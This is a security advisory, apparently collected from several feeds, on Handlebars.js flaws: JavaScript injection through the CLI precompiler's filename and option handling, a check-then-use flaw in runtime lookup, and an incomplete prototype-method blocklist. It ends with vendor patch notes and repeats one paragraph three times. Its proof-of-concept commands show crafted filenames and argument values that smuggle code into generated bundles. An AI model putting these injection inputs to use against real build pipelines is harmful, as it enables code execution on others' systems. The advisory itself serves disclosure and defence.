CVE-2026-33941

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated build pipeline.

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated build pipeline.

Summary

In lib/handlebars/runtime.js, the container.lookup() function uses container.lookupProperty() as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (depths[i][name]). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that lookupProperty may perform.

Only relevant when the compat compile option is enabled ({compat: true}), which activates depthedLookup in lib/handlebars/compiler/javascript-compiler.js.

Description

The vulnerable code in lib/handlebars/runtime.js (lines 137–144):

lookup: function (depths, name) {
  const len = depths.length;
  for (let i = 0; i < len; i++) {
    let result = depths[i] && container.lookupProperty(depths[i], name);
    if (result != null) {
      return depths[i][name];  // BUG: should be `return result;`
    }
  }
},

container.lookupProperty() (lines 119–136) enforces hasOwnProperty checks and resultIsAllowed() prototype-access controls. However, container.lookup() only uses lookupProperty as a boolean gate — if the gate passes (result != null), it then performs an independent, raw depths[i][name] access that circumvents any transformation or wrapped value that lookupProperty may have returned.

Workarounds

• Avoid enabling { compat: true } when rendering templates that include untrusted data.
• Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).

Summary

The prototype method blocklist in lib/handlebars/internal/proto-access.js blocks constructor, __defineGetter__, __defineSetter__, and __lookupGetter__, but omits the symmetric __lookupSetter__. This omission is only exploitable when the non-default runtime option allowProtoMethodsByDefault: true is explicitly set — in that configuration __lookupSetter__ becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.

4.6.0 is the version that introduced protoAccessControl and the allowProtoMethodsByDefault runtime option.

Description

In lib/handlebars/internal/proto-access.js:

const methodWhiteList = Object.create(null);
methodWhiteList['constructor']      = false;
methodWhiteList['__defineGetter__'] = false;
methodWhiteList['__defineSetter__'] = false;
methodWhiteList['__lookupGetter__'] = false;
// __lookupSetter__ intentionally blocked in CVE-2021-23383,
// but omitted here — creating an asymmetric blocklist

All four legacy accessor helpers (__defineGetter__, __defineSetter__, __lookupGetter__, __lookupSetter__) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; __lookupSetter__ was left out.

When allowProtoMethodsByDefault: true is set, any prototype method not present in methodWhiteList is permitted by default. Because __lookupSetter__ is absent from the list, it passes the checkWhiteList check and is accessible in templates, while __lookupGetter__ (its sibling) is correctly denied.

Workarounds

• Do not set allowProtoMethodsByDefault: true. The default configuration is not affected.
• If allowProtoMethodsByDefault must be enabled, ensure templates do not reference __lookupSetter__ through untrusted input.

Summary

The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.

Description

lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:

1. Template name injection

// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';

template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.

2. Namespace injection (-n / --namespace)

// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';

opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.

3. CommonJS path injection (-c / --commonjs)

// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';

opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.

4. AMD path injection (-h / --handlebarPath)

// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";

opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.

All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.

Proof of Concept

Template name vector (creates a file pwned on disk):

mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"

node bin/handlebars templates -o out.js
node -e 'require("./out.js")'  # Executes injected code, creates ./pwned

Namespace vector:

node bin/handlebars templates -o out.js \
  -n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'

CommonJS vector:

node bin/handlebars templates -o out.js \
  -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'

AMD vector:

node bin/handlebars templates -o out.js -a \
  -h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'

Workarounds

• Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.).
• Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
• Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
• Audit template filenames in any repository or package that is consumed by an automated build pipeline.

Root has patched CVE-2026-33941 in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-7rx3-28cr-v5wh in the handlebars package for Root:npm. Multiple fixed versions available.

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated build pipeline.

TuxCare rebuilt handlebars to address 2 CVEs. Fixed in 3.0.3-tuxcare.2.

TuxCare rebuilt handlebars to address 8 CVEs. Fixed in 4.7.7-tuxcare.1.

TuxCare rebuilt handlebars to address 8 CVEs. Fixed in 4.7.8-tuxcare.1.

TuxCare rebuilt handlebars to address 5 CVEs. Fixed in 3.0.8-tuxcare.3.

TuxCare rebuilt handlebars to address 7 CVEs. Fixed in 4.5.3-tuxcare.3.